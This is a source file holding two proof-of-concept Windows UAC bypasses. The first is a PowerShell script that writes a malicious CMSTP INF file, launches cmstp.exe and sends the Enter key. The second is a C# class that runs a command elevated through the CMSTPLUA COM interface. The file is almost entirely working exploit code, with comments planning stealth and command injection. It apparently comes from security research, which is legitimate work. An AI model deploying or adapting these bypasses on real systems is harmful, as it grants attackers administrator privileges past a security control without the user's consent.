# UAC Bypass poc using SendKeys
# Version 1.0
# Author: Oddvar Moe
# Functions borrowed from: https://powershell.org/forums/topic/sendkeys/
# Todo: Hide window on screen for stealth
# Todo: Make script edit the INF file for command to inject...


Function script:Set-INFFile {
[CmdletBinding()]
	Param (
	[Parameter(HelpMessage="Specify the INF file location")]
	$InfFileLocation = "$env:temp\CMSTP.inf",
	
	[Parameter(HelpMessage="Specify the command to launch in a UAC-privileged window")]
	[String]$CommandToExecute = 'C:\Users\xxx\Desktop\uactest\artifact.exe'
	)

$InfContent = @"
[version]
Signature=`$chicago`$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
$CommandToExecute
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""

[Strings]
ServiceName="CorpVPN"
ShortSvcName="CorpVPN"

"@

$InfContent | Out-File $InfFileLocation -Encoding ASCII
}


Function Get-Hwnd
{
  [CmdletBinding()]
    
  Param
  (
    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $ProcessName
  )
  Process
    {
        $ErrorActionPreference = 'Stop'
        Try 
        {
            $hwnd = Get-Process -Name $ProcessName | Select-Object -ExpandProperty MainWindowHandle
        }
        Catch 
        {
            $hwnd = $null
        }
        $hash = @{
        ProcessName = $ProcessName
        Hwnd        = $hwnd
        }
        
    New-Object -TypeName PsObject -Property $hash
    }
}

function Set-WindowActive
{
  [CmdletBinding()]

  Param
  (
    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $Name
  )
  
  Process
  {
    $memberDefinition = @'
    [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);

'@

    Add-Type -MemberDefinition $memberDefinition -Name Api -Namespace User32
    $hwnd = Get-Hwnd -ProcessName $Name | Select-Object -ExpandProperty Hwnd
    If ($hwnd) 
    {
      $onTop = New-Object -TypeName System.IntPtr -ArgumentList (0)
      [User32.Api]::SetForegroundWindow($hwnd)
      [User32.Api]::ShowWindow($hwnd, 5)
    }
    Else 
    {
      [string] $hwnd = 'N/A'
    }

    $hash = @{
      Process = $Name
      Hwnd    = $hwnd
    }
        
    New-Object -TypeName PsObject -Property $hash
  }
}

. Set-INFFile
#Needs Windows forms
add-type -AssemblyName System.Windows.Forms
If (Test-Path $InfFileLocation) {
#Command to run
$ps = new-object system.diagnostics.processstartinfo "c:\windows\system32\cmstp.exe"
$ps.Arguments = "/au $InfFileLocation"
$ps.UseShellExecute = $false

#Start it
[system.diagnostics.process]::Start($ps)

do
{
	# Do nothing until cmstp is an active window
}
until ((Set-WindowActive cmstp).Hwnd -ne 0)


#Activate window
Set-WindowActive cmstp

#Send the Enter key
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
}

using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

namespace UAC_comICM
{
    public class Class1
    {
        internal enum HRESULT : long
        {
            S_FALSE = 0x0001,
            S_OK = 0x0000,
            E_INVALIDARG = 0x80070057,
            E_OUTOFMEMORY = 0x8007000E
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct BIND_OPTS3
        {
            internal uint cbStruct;
            internal uint grfFlags;
            internal uint grfMode;
            internal uint dwTickCountDeadline;
            internal uint dwTrackFlags;
            internal uint dwClassContext;
            internal uint locale;
            object pServerInfo; // will be passing null, so type doesn't matter
            internal IntPtr hwnd;
        }

        [Flags]
        internal enum CLSCTX
        {
            CLSCTX_INPROC_SERVER = 0x1,
            CLSCTX_INPROC_HANDLER = 0x2,
            CLSCTX_LOCAL_SERVER = 0x4,
            CLSCTX_REMOTE_SERVER = 0x10,
            CLSCTX_NO_CODE_DOWNLOAD = 0x400,
            CLSCTX_NO_CUSTOM_MARSHAL = 0x1000,
            CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000,
            CLSCTX_NO_FAILURE_LOG = 0x4000,
            CLSCTX_DISABLE_AAA = 0x8000,
            CLSCTX_ENABLE_AAA = 0x10000,
            CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000,
            CLSCTX_INPROC = CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER,
            CLSCTX_SERVER = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER,
            CLSCTX_ALL = CLSCTX_SERVER | CLSCTX_INPROC_HANDLER
        }

        const ulong SEE_MASK_DEFAULT = 0x0;
        const ulong SW_SHOW = 0x5;

        [DllImport("ole32.dll", CharSet = CharSet.Unicode, ExactSpelling = true, PreserveSig = false)]
        [return: MarshalAs(UnmanagedType.Interface)]
        internal static extern object CoGetObject(
          string pszName,
          [In] ref BIND_OPTS3 pBindOptions,
          [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);

        [DllExport]
        public static void BypassUAC()
        {
            Guid classId_cmstplua = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
            // Interface ID
            Guid interfaceId_icmluautil = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");

            ICMLuaUtil icm = (ICMLuaUtil)LaunchElevatedCOMObject(classId_cmstplua, interfaceId_icmluautil); ;
            icm.ShellExec(@"cmd.exe", string.Format("/c {0}", "calc"), @"C:\windows\system32\", SEE_MASK_DEFAULT, SW_SHOW);
            Marshal.ReleaseComObject(icm);
        }

        public static object LaunchElevatedCOMObject(Guid Clsid, Guid InterfaceID)
        {
            string CLSID = Clsid.ToString("B");
            string monikerName = "Elevation:Administrator!new:" + CLSID;

            BIND_OPTS3 bo = new BIND_OPTS3();
            bo.cbStruct = (uint)Marshal.SizeOf(bo);
            bo.hwnd = IntPtr.Zero;
            bo.dwClassContext = (int)CLSCTX.CLSCTX_LOCAL_SERVER;

            object retVal = CoGetObject(monikerName, ref bo, InterfaceID);

            return (retVal);
        }

        [ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        interface ICMLuaUtil
        {
            //[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
            //void QueryInterface([In, MarshalAs(UnmanagedType.LPStruct)] Guid riid, [In, Out] ref IntPtr ppv);
            //[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
            //void AddRef();
            //[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
            //void Release();
            void Method1();
            void Method2();
            void Method3();
            void Method4();
            void Method5();
            void Method6();
            HRESULT ShellExec(
                [In, MarshalAs(UnmanagedType.LPWStr)] string file,
                [In, MarshalAs(UnmanagedType.LPWStr)] string paramaters,
                [In, MarshalAs(UnmanagedType.LPWStr)] string directory,
                [In] ulong fMask,
                [In] ulong nShow);

            
        } 
    }
}